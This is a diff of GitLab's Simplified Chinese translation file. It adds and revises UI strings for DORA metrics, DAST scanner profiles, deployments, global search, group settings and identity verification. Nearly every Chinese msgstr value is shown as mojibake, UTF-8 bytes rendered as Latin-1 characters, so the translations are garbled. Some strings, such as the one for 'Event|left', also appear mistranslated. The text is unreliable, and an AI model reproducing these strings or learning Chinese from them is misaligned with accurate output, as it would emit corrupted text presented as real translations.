+msgstr "å˜æ›´çš„å‰ç½®æ—¶é—´"
msgid "DORA4Metrics|Lead time"
-msgstr ""
+msgstr "å‰ç½®æ—¶é—´"
msgid "DORA4Metrics|Lead time for changes"
msgstr "å˜æ›´çš„å‰ç½®æ—¶é—´"
@@ -12066,11 +12219,17 @@ msgstr "中ä½æ—¶é—´ï¼ˆæœ€è¿‘ %{days} 天)"
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr "在给定时间段内,事件在生产环境中的中ä½æ—¶é—´ã€‚"
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr "从议题创建到关闭的中ä½æ•°æ—¶é—´ã€‚"
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr "从一个关è”议题的åˆå¹¶è¯·æ±‚最早æ交到该议题结æŸæ—¶çš„中ä½æ—¶é—´ã€‚"
+
msgid "DORA4Metrics|Month to date"
msgstr "本月至今"
msgid "DORA4Metrics|New issues"
-msgstr ""
+msgstr "新建议题"
msgid "DORA4Metrics|No incidents during this period"
msgstr "在此期间没有事件"
@@ -12084,6 +12243,15 @@ msgstr "部署数é‡"
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr "给定时间段内事件数除以生产环境的部署数。"
+msgid "DORA4Metrics|Number of new issues created."
+msgstr "创建的新议题数é‡ã€‚"
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr "过去 6 个月"
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr "导致生产事故的部署百分比。"
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr "失败部署的百分比"
@@ -12105,8 +12273,14 @@ msgstr "该图表显示基于 %{linkStart}deployment_tier%{linkEnd} 值的生产
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr "该图表显示åˆå¹¶è¯·æ±‚被åˆå¹¶å’Œéƒ¨ç½²åˆ°ç”Ÿäº§çŽ¯å¢ƒä¹‹é—´çš„中间值时间,这些时间基于 %{linkStart}deployment_tier%{linkEnd} 值。"
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr "组织从生产故障中æ¢å¤æ‰€éœ€çš„时间。"
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr "æˆåŠŸäº¤ä»˜æ交到生产的时间。该指标å映了 CI/CD æµæ°´çº¿çš„效率。"
+
msgid "DORA4Metrics|Time to Restore Service"
-msgstr ""
+msgstr "æ¢å¤æœåŠ¡çš„时间"
msgid "DORA4Metrics|Time to restore service"
msgstr "æ¢å¤æœåŠ¡çš„时间"
@@ -12114,6 +12288,9 @@ msgstr "æ¢å¤æœåŠ¡çš„时间"
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr "æ¢å¤æœåŠ¡çš„时间(中ä½å¤©æ•°ï¼‰"
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr "生产环境部署的总数。"
+
msgid "DSN"
msgstr "DSN"
@@ -12129,9 +12306,6 @@ msgstr "所有"
msgid "DashboardProjects|Personal"
msgstr "个人"
-msgid "DashboardProjects|Trending"
-msgstr "热门"
-
msgid "Dashboards"
msgstr "仪表盘"
@@ -12169,7 +12343,7 @@ msgid "DastConfig|Not enabled"
msgstr "未å¯ç”¨"
msgid "DastProfiles|/graphql"
-msgstr ""
+msgstr "/graphql"
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr "被动扫æ监控å‘é€åˆ°ç›®æ ‡çš„所有HTTP消æ¯(请求和å“应)。主动扫æ会对目标进行攻击以å‘现潜在æ¼æ´žã€‚"
@@ -12319,7 +12493,7 @@ msgid "DastProfiles|Monitors all HTTP requests sent to the target to find potent
msgstr "监控å‘é€åˆ°ç›®æ ‡çš„所有 HTTP 请求æ¥æŸ¥æ‰¾æ½œåœ¨æ¼æ´žã€‚"
msgid "DastProfiles|Must allow introspection queries to request the API schema. %{linkStart}How do I enable introspection%{linkEnd}?"
-msgstr ""
+msgstr "å¿…é¡»å…许内çœæŸ¥è¯¢è¯·æ±‚ API schema。%{linkStart}我如何å¯ç”¨å†…çœ%{linkEnd}?"
msgid "DastProfiles|New scanner profile"
msgstr "新建扫æ工具é…ç½®"
@@ -12692,7 +12866,7 @@ msgid "Days to merge"
msgstr "åˆå¹¶æ‰€éœ€å¤©æ•°"
msgid "Deactivate"
-msgstr ""
+msgstr "åœç”¨"
msgid "Deactivate dormant users after a period of inactivity"
msgstr "无活动一段时间冻结休眠用户"
@@ -12752,10 +12926,10 @@ msgid "Default first day of the week in calendars and date pickers."
msgstr "在日期选择器中显示æ¯å‘¨é»˜è®¤çš„起始日。"
msgid "Default language"
-msgstr ""
+msgstr "默认语言"
msgid "Default language for users who are not logged in."
-msgstr ""
+msgstr "未登录用户的默认语言。"
msgid "Default projects limit"
msgstr "默认项目é™åˆ¶"
@@ -13048,11 +13222,9 @@ msgstr "删除ä¿æŠ¤"
msgid "DeletionSettings|Keep deleted"
msgstr "ä¿æŒåˆ é™¤"
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr "将已删除的项目ä¿ç•™ %{number} 天"
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr "将已删除的项目ä¿ç•™ 1 天"
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] "将已删除的项目ä¿ç•™ %{number} 天"
msgid "DeletionSettings|None, delete immediately"
msgstr "å¦ï¼Œç«‹å³åˆ é™¤"
@@ -13114,6 +13286,9 @@ msgstr "组件å称"
msgid "Dependencies|Dependency path"
msgstr "ä¾èµ–项路径"
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr "导出ä¾èµ–项列表时出错。请é‡æ–°åŠ è½½é¡µé¢ã€‚"
+
msgid "Dependencies|Export as JSON"
msgstr "导出为JSON"
@@ -13352,19 +13527,19 @@ msgid "DeployTokens|Active Deploy Tokens (%{active_tokens})"
msgstr "å¯ç”¨éƒ¨ç½²ä»¤ç‰Œï¼ˆ%{active_tokens})"
msgid "DeployTokens|Allows read and write access to registry images."
-msgstr "å…许对仓库镜åƒè¿›è¡Œè¯»å†™è®¿é—®ã€‚"
+msgstr "å…许对容器镜åƒåº“进行读写访问。"
msgid "DeployTokens|Allows read and write access to the package registry."
msgstr "å…许对软件包仓库进行读写访问。"
msgid "DeployTokens|Allows read-only access to registry images."
-msgstr "å…许以åªè¯»æƒé™è®¿é—®ä»“库中的镜åƒã€‚"
+msgstr "å…许以åªè¯»æƒé™è®¿é—®å®¹å™¨é•œåƒåº“。"
msgid "DeployTokens|Allows read-only access to the package registry."
msgstr "å…许对软件包仓库进行åªè¯»è®¿é—®ã€‚"
msgid "DeployTokens|Allows read-only access to the repository."
-msgstr "å…许以åªè¯»æƒé™è®¿é—®é•œåƒä»“库。"
+msgstr "å…许以åªè¯»æƒé™è®¿é—®ä»£ç ä»“库。"
msgid "DeployTokens|Allows write access to registry images."
msgstr "å…许写入仓库镜åƒã€‚"
@@ -13492,9 +13667,15 @@ msgstr "项目部署目标(å¯é€‰ï¼‰"
msgid "Deployment Target|Select the deployment target"
msgstr "选择部署目标"
+msgid "Deployment approvals is not configured for this environment."
+msgstr "此环境下的部署批准未é…置。"
+
msgid "Deployment frequency"
msgstr "部署频率"
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr "批准"
@@ -13510,6 +13691,12 @@ msgstr "å¼€å‘者 + 维护者"
msgid "DeploymentApprovals|Maintainers"
msgstr "维护者"
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr "当å‰æ‰¹å‡†ï¼š %{current}"
@@ -13544,7 +13731,7 @@ msgid "DeploymentApproval|Rejected by you %{time}"
msgstr "由您于 %{time} æ‹’ç»"
msgid "DeploymentTarget|Edge Computing (e.g. Cloudflare Workers)"
-msgstr ""
+msgstr "边缘计算(例如 Cloudflare Workers)"
msgid "DeploymentTarget|GitLab Pages"
msgstr "GitLab Pages"
@@ -13583,7 +13770,7 @@ msgid "DeploymentTarget|Virtual machine (for example, EC2)"
msgstr "虚拟机(例如 EC2)"
msgid "DeploymentTarget|Web Deployment Platform (Netlify, Vercel, Gatsby)"
-msgstr ""
+msgstr "Web 部署平å°ï¼ˆNetlifyã€Vercelã€Gatsby)"
msgid "Deployments"
msgstr "部署"
@@ -13592,6 +13779,12 @@ msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] "%{deployments} 环境å—到影å“。"
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr "在 %{code_open}.gitlab-ci.yml%{code_close} 的部署阶段中定义环境æ¥è·Ÿè¸ªéƒ¨ç½²ã€‚"
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr "您现在没有任何部署。"
+
msgid "Deployment|API"
msgstr "API"
@@ -13689,13 +13882,13 @@ msgid "Description:"
msgstr "æè¿°:"
msgid "Descriptions"
-msgstr ""
+msgstr "æè¿°"
msgid "Descriptive label"
msgstr "æ述性标签"
msgid "Design"
-msgstr ""
+msgstr "设计"
msgid "Design Management files and data"
msgstr "设计管ç†æ–‡ä»¶å’Œæ•°æ®"
@@ -13860,8 +14053,8 @@ msgstr "DevOps 报告"
msgid "DevOps adoption"
msgstr "DevOps adoption"
-msgid "DevOps metrics comparison (Alpha)"
-msgstr ""
+msgid "DevOps metrics comparison (Beta)"
+msgstr "DevOps 指标比较(Beta)"
msgid "Developer"
msgstr "å¼€å‘者"
@@ -14085,6 +14278,9 @@ msgstr "差异注释"
msgid "Difference between start date and now"
msgstr "开始日期和现在之间的差异"
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr "(HEAD)"
@@ -14572,6 +14768,9 @@ msgstr "动æ€åº”用程åºå®‰å…¨æ€§æµ‹è¯•(DAST)"
msgid "E-mail:"
msgstr "电å­é‚®ä»¶ï¼š"
+msgid "ESM module"
+msgstr "ESM 模å—"
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr "æ¯ä¸ªé¡¹ç›®è¿˜å¯ä»¥æœ‰ä¸€ä¸ªè®®é¢˜è·Ÿè¸ªå™¨å’Œä¸€ä¸ª wiki。"
@@ -15173,7 +15372,7 @@ msgid "Enter at least three characters to search"
msgstr "请至少输入三个字符æ‰å¯æœç´¢"
msgid "Enter at least three characters to search."
-msgstr ""
+msgstr "至少输入三个字符æ‰å¯æœç´¢ã€‚"
msgid "Enter in your Bitbucket Server URL and personal access token below"
msgstr "输入您的BitbucketæœåŠ¡å™¨URL和个人访问令牌"
@@ -15632,7 +15831,7 @@ msgid "Error fetching refs"
msgstr "获å–refs时出错。"
msgid "Error fetching target projects. Please try again."
-msgstr ""
+msgstr "获å–目标项目时出错。请é‡è¯•ã€‚"
msgid "Error fetching the dependency list. Please check your network connection and try again."
msgstr "获å–ä¾èµ–列表时出错。请检查您的网络连接,然åŽé‡è¯•ã€‚"
@@ -15769,11 +15968,8 @@ msgstr "错误: %{error}"
msgid "Error: Couldn't load some or all of the changes."
msgstr "错误:无法加载部分或全部更改。"
-msgid "Error: No AWS credentials were supplied"
-msgstr "错误:未æ供任何AWS凭æ®"
-
-msgid "Error: No AWS provision role found for user"
-msgstr "错误:未找到用户的 AWS é…置角色"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
+msgstr "错误:Gitalyä¸å¯ç”¨ã€‚请è”系您的管ç†å‘˜ã€‚"
msgid "Error: Unable to create deploy freeze"
msgstr "错误:无法创建部署冻结。"
@@ -15781,9 +15977,6 @@ msgstr "错误:无法创建部署冻结。"
msgid "Error: Unable to delete deploy freeze"
msgstr "错误:无法删除部署冻结"
-msgid "Error: Unable to find AWS role for current user"
-msgstr "错误:找ä¸åˆ°å½“å‰ç”¨æˆ·çš„AWS角色"
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr "访问令牌为 %{token_in_code_tag}"
@@ -15950,13 +16143,13 @@ msgid "EscalationPolicies|mins"
msgstr "最å°å€¼"
msgid "EscalationStatus|Acknowledged"
-msgstr ""
+msgstr "已确认"
msgid "EscalationStatus|Resolved"
-msgstr ""
+msgstr "已解决"
msgid "EscalationStatus|Triggered"
-msgstr ""
+msgstr "已触å‘"
msgid "Estimate"
msgstr "预计"
@@ -16031,7 +16224,7 @@ msgid "Event|joined"
msgstr "已加入"
msgid "Event|left"
-msgstr ""
+msgstr "剩余"
msgid "Event|opened"
msgstr "已打开"
@@ -16046,7 +16239,7 @@ msgid "Event|removed"
msgstr "已删除"
msgid "Event|removed due to membership expiration from"
-msgstr ""
+msgstr "å› æˆå‘˜èµ„格到期而被移除于"
msgid "Event|updated"
msgstr "已更新"
@@ -16119,7 +16312,7 @@ msgid "Everything on your to-do list is marked as done."
msgstr "您的待办事项列表中的所有内容都标记为已完æˆã€‚"
msgid "Everything you need to create a GitLab Pages site using Bridgetown"
-msgstr ""
+msgstr "您需è¦ç”¨æ¥åˆ›å»º Pages 站点所需的一切使用 Bridgetown"
msgid "Everything you need to create a GitLab Pages site using Gatsby"
msgstr "使用Gatsby创建GitLab Pages网站所需的所有信æ¯"
@@ -16152,19 +16345,19 @@ msgid "Exactly one of %{attributes} is required"
msgstr "其中的一个%{attributes}是必需的"
msgid "Example: (feature|hotfix)\\/*"
-msgstr ""
+msgstr "示例:(feature|hotfix)\\/*"
msgid "Example: (jar|exe)$"
-msgstr ""
+msgstr "示例:(jar|exe)$"
msgid "Example: @sub\\.company\\.com$"
msgstr "示例: @sub\\.company\\.com$"
msgid "Example: Fixes \\d+\\..*"
-msgstr ""
+msgstr "示例:Fixes \\d+\\..*"
msgid "Example: ssh\\:\\/\\/"
-msgstr ""
+msgstr "示例:ssh\\:\\/\\/"
msgid "Examples"
msgstr "例å­"
@@ -16239,16 +16432,16 @@ msgid "Expand sidebar"
msgstr "展开侧边æ "
msgid "Expand variable reference"
-msgstr ""
+msgstr "展开å˜é‡å¼•ç”¨"
msgid "Expected documents: %{expected_documents}"
msgstr "需è¦çš„文档: %{expected_documents}"
msgid "Experiment"
-msgstr ""
+msgstr "实验"
msgid "Experiment candidates"
-msgstr ""
+msgstr "实验候选者"
msgid "Experiments"
msgstr "实验"
@@ -16280,9 +16473,6 @@ msgstr "到期"
msgid "Expires %{preposition} %{expires_at}"
msgstr "过期 %{preposition} %{expires_at}"
-msgid "Expires on"
-msgstr "到期日期"
-
msgid "Expires:"
msgstr "到期时间:"
@@ -16316,9 +16506,6 @@ msgstr "æµè§ˆå…¬å¼€é¡¹ç›®"
msgid "Explore snippets"
msgstr "æµè§ˆä»£ç ç‰‡æ®µ"
-msgid "Explore topics"
-msgstr "æµè§ˆä¸»é¢˜"
-
msgid "Export"
msgstr "导出"
@@ -16636,9 +16823,6 @@ msgstr "无法移动此议题,因为åªèƒ½åªå¯æ供一个标记。"
msgid "Failed to move this issue because target project doesn't exist."
msgstr "无法移动此议题,因为目标项目ä¸å­˜åœ¨ã€‚"
-msgid "Failed to promote issue to incident"
-msgstr "æå‡è®®é¢˜åˆ°äº‹ä»¶å¤±è´¥"
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "由于内部错误而无法å‡çº§æ ‡è®°ã€‚请è”系管ç†å‘˜ã€‚"
@@ -16971,7 +17155,7 @@ msgid "February"
msgstr "2月"
msgid "Feedback"
-msgstr ""
+msgstr "å馈"
msgid "Feedback and Updates"
msgstr "å馈和更新"
@@ -17063,9 +17247,6 @@ msgstr "筛选方å¼"
msgid "Filter by %{page_context_word} that are currently open."
msgstr "筛选当å‰å¼€æ”¾çš„ %{page_context_word}"
-msgid "Filter by Git revision"
-msgstr "按Git版本筛选"
-
msgid "Filter by issues that are currently closed."
msgstr "按当å‰å…³é—­çš„议题筛选。"
@@ -17229,7 +17410,7 @@ msgid "Followed users"
msgstr "关注的用户"
msgid "Following tags don't exist"
-msgstr ""
+msgstr "以下标签ä¸å­˜åœ¨"
msgid "Font Color"
msgstr "字体颜色"
@@ -17376,26 +17557,23 @@ msgid "Forks"
msgstr "派生"
msgid "ForksDivergence|%{ahead} %{commit_word} ahead of"
-msgstr ""
+msgstr "%{ahead} %{commit_word} 领先"
msgid "ForksDivergence|%{behind} %{commit_word} behind"
-msgstr ""
+msgstr "%{behind} %{commit_word} è½åŽ"
msgid "ForksDivergence|%{messages} upstream repository"
-msgstr ""
+msgstr "%{messages} 上游仓库"
+
+msgid "ForksDivergence|Fork has diverged from upstream repository"
+msgstr "派生代ç åº“已与上游代ç åº“分å‰"
msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
+msgstr "与上游仓库ä¿æŒåŒæ­¥"
msgid "Format: %{dateFormat}"
msgstr "æ ¼å¼ï¼š%{dateFormat}"
-msgid "Found errors in your %{gitlab_ci_yml}:"
-msgstr "在您的 %{gitlab_ci_yml} 中找到错误:"
-
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr "在.gitlab-ci.yml中å‘现错误:"
-
msgid "Framework successfully deleted"
msgstr "框架删除æˆåŠŸ"
@@ -17490,6 +17668,9 @@ msgstr "GPG密钥ID:"
msgid "GPG Keys"
msgstr "GPG密钥"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr "GPG密钥å…许您对签åçš„æ交进行验è¯ã€‚"
@@ -17509,7 +17690,7 @@ msgid "General settings"
msgstr "通用设置"
msgid "Generate API key at %{site}"
-msgstr ""
+msgstr "在 %{site} ç”Ÿæˆ API 密钥"
msgid "Generate a default set of labels"
msgstr "生æˆä¸€ç»„默认的标记"
@@ -18146,9 +18327,6 @@ msgstr "开始使用å‘布"
msgid "Git"
msgstr "Git"
-msgid "Git GC period"
-msgstr "Git GC 周期"
-
msgid "Git LFS Rate Limits"
msgstr "Git LFS 速率é™åˆ¶"
@@ -18561,6 +18739,9 @@ msgstr "此范围的全局æœç´¢å·²ç¦ç”¨"
msgid "Global Shortcuts"
msgstr "全局快æ·é”®"
+msgid "Global notification email"
+msgstr "全局通知电å­é‚®ä»¶"
+
msgid "Global notification level"
msgstr "全局通知级别"
@@ -18573,6 +18754,12 @@ msgstr "%{search} %{description} %{scope}"
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr "æä¾› %{count} 个默认结果,使用上下箭头键导航æœç´¢ç»“果列表。"
+msgid "GlobalSearch|Close"
+msgstr "关闭"
+
+msgid "GlobalSearch|Group"
+msgstr "群组"
+
msgid "GlobalSearch|Groups"
msgstr "群组"
@@ -18597,6 +18784,9 @@ msgstr "分é…给我的åˆå¹¶è¯·æ±‚"
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr "我作为审核者的åˆå¹¶è¯·æ±‚"
+msgid "GlobalSearch|Project"
+msgstr "项目"
+
msgid "GlobalSearch|Projects"
msgstr "项目"
@@ -18610,11 +18800,14 @@ msgid "GlobalSearch|Recent merge requests"
msgstr "最近的åˆå¹¶è¯·æ±‚"
msgid "GlobalSearch|Result count is over limit."
-msgstr ""
+msgstr "结果计数超过é™åˆ¶ã€‚"
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr "结果已更新, %{count} 个结果å¯ç”¨ï¼Œä½¿ç”¨ä¸Šä¸‹ç®­å¤´é”®æµè§ˆæœç´¢ç»“果列表,或使用 ENTER é”®æ交。"
+msgid "GlobalSearch|Search"
+msgstr "æœç´¢"
+
msgid "GlobalSearch|Search GitLab"
msgstr "æœç´¢ GitLab"
@@ -18627,9 +18820,15 @@ msgstr "æœç´¢ç»“果正在加载中"
msgid "GlobalSearch|Settings"
msgstr "设置"
+msgid "GlobalSearch|Syntax options"
+msgstr "语法选项"
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr "获å–æœç´¢è‡ªåŠ¨å®Œæˆå»ºè®®æ—¶å‡ºé”™ã€‚"
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr "获å–“语法选项â€æ–‡æ¡£æ—¶å‡ºé”™ã€‚"
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr "输入并按回车键æ交æœç´¢ã€‚"
@@ -18640,7 +18839,7 @@ msgid "GlobalSearch|Use the shortcut key %{kbdOpen}/%{kbdClose} to start a searc
msgstr "使用快æ·é”® %{kbdOpen}/%{kbdClose} 开始æœç´¢"
msgid "GlobalSearch|Users"
-msgstr ""
+msgstr "用户"
msgid "GlobalSearch|What are you searching for?"
msgstr "您想è¦æœç´¢ä»€ä¹ˆï¼Ÿ"
@@ -18820,7 +19019,7 @@ msgid "Go to your projects"
msgstr "转到您的项目"
msgid "Go to your review requests"
-msgstr ""
+msgstr "转到您的审核请求"
msgid "Go to your snippets"
msgstr "转到您的代ç ç‰‡æ®µ"
@@ -18916,10 +19115,10 @@ msgid "Graph"
msgstr "分支图"
msgid "GraphQL"
-msgstr ""
+msgstr "GraphQL"
msgid "GraphQL endpoint path"
-msgstr ""
+msgstr "GraphQL 端点路径"
msgid "GraphViewType|Job dependencies"
msgstr "作业ä¾èµ–项"
@@ -18954,6 +19153,12 @@ msgstr "群组%{group_name}已安排删除。"
msgid "Group %{group_name} was successfully created."
msgstr "群组 %{group_name} å·²æˆåŠŸåˆ›å»ºã€‚"
+msgid "Group '%{group_name}' could not be updated."
+msgstr "群组 %{group_name} 无法更新。"
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr "群组 %{group_name} å·²æˆåŠŸæ›´æ–°ã€‚"
+
msgid "Group Access Tokens"
msgstr "群组访问令牌"
@@ -19111,13 +19316,13 @@ msgid "GroupActivityMetrics|Members added"
msgstr "添加新æˆå‘˜æ•°"
msgid "GroupActivityMetrics|Merge requests created"
-msgstr ""
+msgstr "åˆå¹¶è¯·æ±‚已创建"
msgid "GroupActivityMetrics|Recent activity"
msgstr "最近活动"
-msgid "GroupImport|Failed to import group."
-msgstr "导入群组失败。"
+msgid "GroupImport|Failed to import group: %{error}"
+msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
msgstr "正在导入群组'%{group_name}'。"
@@ -19198,7 +19403,7 @@ msgid "GroupSAML|\"persistent\" recommended"
msgstr "推è“æŒä¹…化â€"
msgid "GroupSAML|%{group_name} SAML authentication failed: %{message}"
-msgstr ""
+msgstr "%{group_name} SAML 身份验è¯å¤±è´¥ï¼š%{message}"
msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr "%{strongOpen}警告%{strongClose} - å¯ç”¨ %{linkStart}SSO 实施%{linkEnd} 以é™ä½Žå®‰å…¨é£Žé™©ã€‚"
@@ -19306,7 +19511,7 @@ msgid "GroupSAML|SAML Group Name: %{saml_group_name}"
msgstr "SAML群组å称: %{saml_group_name}"
msgid "GroupSAML|SAML Name ID and email address do not match your user account. Contact an administrator."
-msgstr ""
+msgstr "SAML å称和电å­é‚®ä»¶åœ°å€ä¸Žæ‚¨çš„用户å¸æˆ·ä¸åŒ¹é…。请è”系管ç†å‘˜ã€‚"
msgid "GroupSAML|SAML Response Output"
msgstr "SAMLå“应输出"
@@ -19480,7 +19685,7 @@ msgid "GroupSettings|Reporting"
msgstr "报告"
msgid "GroupSettings|Select a subgroup to use as a source of custom templates for new projects in this group. %{link_start}Learn more%{link_end}."
-msgstr ""
+msgstr "选择一个å­ç»„,作为此群组中新项目的自定义模æ¿æºã€‚%{link_start}了解更多%{link_end}。"
msgid "GroupSettings|Select parent group"
msgstr "选择父组"
@@ -19599,9 +19804,15 @@ msgstr "群组是管ç†å¤šä¸ªé¡¹ç›®å’Œæˆå‘˜çš„最佳方å¼ã€‚"
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "如果您在一个群组下组织项目,它的工作方å¼å°±åƒä¸€ä¸ªæ–‡ä»¶å¤¹ã€‚"
+msgid "GroupsEmptyState|No archived projects."
+msgstr "没有归档的项目。"
+
msgid "GroupsEmptyState|No groups found"
msgstr "找ä¸åˆ°ç¾¤ç»„"
+msgid "GroupsEmptyState|No shared projects."
+msgstr "没有共享项目。"
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr "没有å­ç»„或项目。"
@@ -19656,6 +19867,9 @@ msgstr "导入群组"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr "从å¦ä¸€ä¸ªGitLab实例导入群组"
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr "ç›®å‰å·²ç¦ç”¨é€šè¿‡ç›´æŽ¥ä¼ è¾“导入群组。"
+
msgid "GroupsNew|No import options available"
msgstr "æ— å¯ç”¨çš„导入选项"
@@ -19665,6 +19879,12 @@ msgstr "并éžæ‰€æœ‰ç›¸å…³å¯¹è±¡éƒ½å·²è¿ç§»ã€‚%{docs_link_start}更多信æ¯%{d
msgid "GroupsNew|Personal access token"
msgstr "个人访问令牌"
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr "请询问您的管ç†å‘˜åœ¨ç®¡ç†å‘˜è®¾ç½®ä¸­å¯ç”¨å®ƒã€‚"
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr "请填写GitLabæºURL。"
@@ -19674,6 +19894,9 @@ msgstr "请填写个人访问令牌。"
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr "为å¦ä¸€ä¸ª GitLab 实例æ供凭æ®ä»¥ç›´æŽ¥å¯¼å…¥æ‚¨çš„群组。"
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr "记得在您è¦ä»Žä¸­è¿ç§»çš„实例上也å¯ç”¨å®ƒã€‚"
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr "此功能已弃用并由%{docs_link_start}群组è¿ç§»%{docs_link_end}å–代。"
@@ -19791,6 +20014,9 @@ msgstr "HAR 文件 URL"
msgid "HAR file path or URL"
msgstr "HAR 文件路径或 URL"
+msgid "HTML script tag"
+msgstr "HTML 脚本标签"
+
msgid "HTTP Archive (HAR)"
msgstr "HTTP 存档(HAR)"
@@ -20098,6 +20324,12 @@ msgstr "是å¦æœ‰æ‚¨å¸Œæœ›åœ¨ GitLab 中访问的框架或工作项类型?给æ
msgid "Hierarchy|Planning hierarchy"
msgstr "规划结构"
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr "获å–å­é¡¹æ—¶å‡ºé”™ã€‚"
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr "删除å­é¡¹æ—¶å‡ºé”™ã€‚"
+
msgid "Hierarchy|Take the work items survey"
msgstr "å‚加工作事项调查"
@@ -20111,7 +20343,7 @@ msgid "Hierarchy|You can start using these items now."
msgstr "您现在å¯ä»¥å¼€å§‹ä½¿ç”¨è¿™äº›äº‹é¡¹ã€‚"
msgid "High - S2"
-msgstr ""
+msgstr "高 - S2"
msgid "High or unknown vulnerabilities present"
msgstr "存在高å±æˆ–未知æ¼æ´ž"
@@ -20120,7 +20352,7 @@ msgid "Highest role:"
msgstr "顶级角色:"
msgid "Highlight"
-msgstr ""
+msgstr "高亮"
msgid "HighlightBar|Alert events:"
msgstr "警报事件:"
@@ -20324,7 +20556,7 @@ msgid "Identities"
msgstr "身份标识"
msgid "IdentityVerification|%{linkStart}Enter a new phone number%{linkEnd}"
-msgstr ""
+msgstr "%{linkStart}输入一个新的电è¯å·ç %{linkEnd}"
msgid "IdentityVerification|A new code has been sent."
msgstr "新验è¯ç å·²å‘é€ã€‚"
@@ -20351,7 +20583,7 @@ msgid "IdentityVerification|Didn't receive a code?"
msgstr "未收到验è¯ç ï¼Ÿ"
msgid "IdentityVerification|Didn't receive a code? %{linkStart}Send a new code%{linkEnd}"
-msgstr ""
+msgstr "没有收到验è¯ç ï¼Ÿ%{linkStart}å‘é€æ–°çš„验è¯ç %{linkEnd}"
msgid "IdentityVerification|Enter a code."
msgstr "输入验è¯ç ã€‚"
@@ -20393,7 +20625,7 @@ msgid "IdentityVerification|Phone number"
msgstr "电è¯å·ç "
msgid "IdentityVerification|Phone number is required."
-msgstr ""
+msgstr "电è¯å·ç æ˜¯å¿…需的。"
msgid "IdentityVerification|Phone number must be %{maxLength} digits or fewer."
msgstr "电è¯å·ç å¿…须是 %{maxLength} ä½æˆ–更少。"
@@ -20435,10 +20667,10 @@ msgid "IdentityVerification|Verification code"
msgstr "验è¯ç "
msgid "IdentityVerification|Verification code can't be blank."
-msgstr ""
+msgstr "验è¯ç ä¸èƒ½ä¸ºç©ºã€‚"
msgid "IdentityVerification|Verification code must be a number."
-msgstr ""
+msgstr "验è¯ç å¿…须是数字。"
msgid "IdentityVerification|Verification successful"
msgstr "验è¯æˆåŠŸ"
@@ -20453,16 +20685,16 @@ msgid "IdentityVerification|Verify payment method"
msgstr "验è¯ä»˜æ¬¾æ–¹å¼"
msgid "IdentityVerification|Verify phone number"
-msgstr ""
+msgstr "验è¯ç”µè¯å·ç "
msgid "IdentityVerification|Verify your identity"
msgstr "验è¯æ‚¨çš„身份"
